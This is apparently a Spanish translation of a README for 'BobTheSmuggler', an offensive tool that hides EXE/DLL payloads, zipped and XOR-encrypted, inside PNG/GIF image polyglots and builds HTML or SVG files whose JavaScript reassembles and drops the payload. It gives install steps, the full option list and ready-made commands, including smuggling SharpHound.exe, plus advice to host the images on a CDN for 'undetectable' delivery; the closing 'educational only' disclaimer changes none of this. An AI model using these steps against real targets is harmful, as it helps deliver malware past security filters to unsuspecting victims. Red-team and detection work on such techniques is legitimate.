
"Bob the Smuggler": Una herramienta que aprovecha el ataque de contrabando HTML (HTML Smuggling Attack) y te permite crear archivos HTML con archivos 7z/zip incrustados. La herramienta comprime tu binario (EXE/DLL) en formato 7z/zip, luego cifra el archivo con XOR y lo oculta dentro de un archivo de imagen PNG/GIF (Image Polyglots).

15 de enero de 2024 - Se ha añadido soporte para compresión de múltiples archivos. Si tienes múltiples archivos generados para tu payload final (por ejemplo, archivos de DLL-Sideloading o archivos de entrega en múltiples etapas), ahora puedes usar la opción '-i' para especificar la ruta del directorio. Si se proporciona una ruta de directorio, BobTheSmuggler archivará automáticamente todos los archivos en ese directorio, cifrará el archivo con XOR y lo incrustará dentro de PNG/GIF.
Echa un vistazo a mi blog para obtener una comprensión completa de cómo usar esta herramienta: BobTheSmuggler: Your Covert Cyber Swiss Knife for Undetectable Payload Delivery.
"Bob the Smuggler" es una herramienta que aprovecha el ataque de HTML Smuggling y te permite crear archivos HTML con archivos 7z/zip incrustados. La herramienta comprime tu binario (EXE/DLL) en formato 7z/zip, luego cifra el archivo con XOR y lo oculta dentro de un archivo de imagen PNG/GIF (Image Polyglots). El JavaScript incrustado dentro del HTML descargará el archivo PNG/GIF y lo almacenará en la caché. Después, el JavaScript extraerá los datos incrustados en el PNG/GIF, los ensamblará, realizará el descifrado XOR, y los almacenará como un blob en memoria.

Esta herramienta actualmente soporta las siguientes cadenas de entrega de payload:
Antes de ejecutar la herramienta, necesitas los siguientes prerrequisitos:
pip install python-magic py7zr pyminizip
Nota: Para instalar python-magic, necesitarás instalar la biblioteca libmagic en tu sistema. Sigue esta URL para instalar la biblioteca libmagic: https://pypi.org/project/python-magic/
Una vez que las bibliotecas requeridas estén instaladas, puedes proceder con la instalación de la herramienta usando los siguientes comandos:
git clone https://github.com/TheCyb3rAlpha/BobTheSmuggler.git
cd BobTheSmuggler
Una vez instalado, puedes usar la herramienta ejecutando el siguiente comando:
python3 BobTheSmuggler.py -h

======================================================================
██████╗ ██████╗ ██████╗ ████████╗██╗ ██╗███████╗
██╔══██╗██╔═══██╗██╔══██╗ ╚══██╔══╝██║ ██║██╔════╝
██████╔╝██║ ██║██████╔╝ ██║ ███████║█████╗
██╔══██╗██║ ██║██╔══██╗ ██║ ██╔══██║██╔══╝
██████╔╝╚██████╔╝██████╔╝ ██║ ██║ ██║███████╗
╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝╚══════╝
███████╗███╗ ███╗██╗ ██╗ ██████╗ ██████╗ ██╗ ███████╗██████╗
██╔════╝████╗ ████║██║ ██║██╔════╝ ██╔════╝ ██║ ██╔════╝██╔══██╗
███████╗██╔████╔██║██║ ██║██║ ███╗██║ ███╗██║ █████╗ ██████╔╝
╚════██║██║╚██╔╝██║██║ ██║██║ ██║██║ ██║██║ ██╔══╝ ██╔══██╗
███████║██║ ╚═╝ ██║╚██████╔╝╚██████╔╝╚██████╔╝███████╗███████╗██║ ██║
╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚══════╝╚═╝ ╚═╝
======================================================================
usage: BobTheSmuggler.py [-h] -i EXE_FILE [-p PASSWORD] -f OUTPUT_HTML -o OUTPUT_FILENAME -t {html,svg,png,gif} [-c {7z,zip}] [-u PNG_URL] [-png PNG_FILE] [-gif GIF_FILE] [-e CUSTOM_FILE] [-v]
Hides EXE/DLL file inside an HTML/SVG file.
optional arguments:
-h, --help show this help message and exit
-i EXE_FILE Path to the EXE/DLL file.
-p PASSWORD Password for compression.
-f OUTPUT_HTML HTML Smuggled file (.html)
-o OUTPUT_FILENAME Downloaded file name (Your payload is in this file.)
-t {html,svg,png,gif} Type of embedded template.
-c {7z,zip} Compression format: 7z or zip (default: zip)
-u PNG_URL URL for the embedded PNG image.
-png PNG_FILE Path to the PNG file for embedding EXE/DLL.
-gif GIF_FILE Path to the GIF file for embedding EXE/DLL.
-e CUSTOM_FILE HTML file to clone as template.
-v, --verbose Enable verbose logging.
Si deseas comprimir SharpHound.exe en formato 7z (protegido por contraseña) y almacenarlo en un archivo HTML, puedes usar el siguiente comando:
python3 BobTheSmuggler.py -i path/to/SharpHound.exe -p 123456 -c 7z -f SharpHound.html -o SharpHound.7z -t html

Para crear un archivo HTML con el payload incrustado oculto dentro de un archivo PNG, puedes usar el siguiente comando:
python3 BobTheSmuggler.py -i <Input_file_path> -p <password_to_encrypt> -f <output_HTML_filename> -o <Output 7z/zip filename stored inside HTML> -t png test.png

NOTA: Asegúrate de alojar los archivos PNG/GIF en un CDN. (Recomendado: Debes usar la opción -u para proporcionar la URL del CDN donde alojarás el archivo PNG/GIF). Para propósitos de prueba, puedes usar la aplicación flask (app.py) que alojará banner.gif y banner.png en localhost:8000.
De manera similar, puedes usar el siguiente comando para crear un archivo HTML con el payload incrustado oculto dentro de un archivo GIF:
python3 BobTheSmuggler.py -i <Input_file_path> -p <password_to_encrypt> -f <output_HTML_filename> -o <Output 7z/zip filename stored inside HTML> -t gif test.gif

Una vez que se genera la imagen final (PNG/GIF), el tamaño de la imagen aumentará porque contendrá tu archivo incrustado.

Una cadena simple con un enfoque diferente. Tu EXE/DLL se comprime en un archivo .7z/.zip, luego se almacena dentro de un archivo PNG/GIF. El PNG/GIF es llamado por el JS dentro del archivo SVG que está incrustado en HTML. Una vez que se llama al JS, descarga el archivo PNG/ZIP, extrae los datos comprimidos con XOR de los fragmentos de la imagen, descifra el archivo e invoca la funcionalidad de descarga.
python3 BobTheSmuggler.py -i <Input_file_path> -p <password_to_encrypt> -f <output_HTML_filename> -o <Output 7z/zip filename stored inside HTML> -t svg -e <Custom_SVG_Template>
Las siguientes plantillas se han añadido a este proyecto:

Esta herramienta está destinada únicamente a fines educativos. Se recomienda a los usuarios que la utilicen solo de manera que promueva el aprendizaje y la comprensión. El autor de esta herramienta renuncia explícitamente a cualquier responsabilidad por su uso más allá de contextos educativos. Los usuarios que elijan emplear esta herramienta para fines distintos a la educación lo hacen bajo su propio riesgo y responsabilidad, y el autor no será considerado responsable de ninguna consecuencia derivada de dicho uso.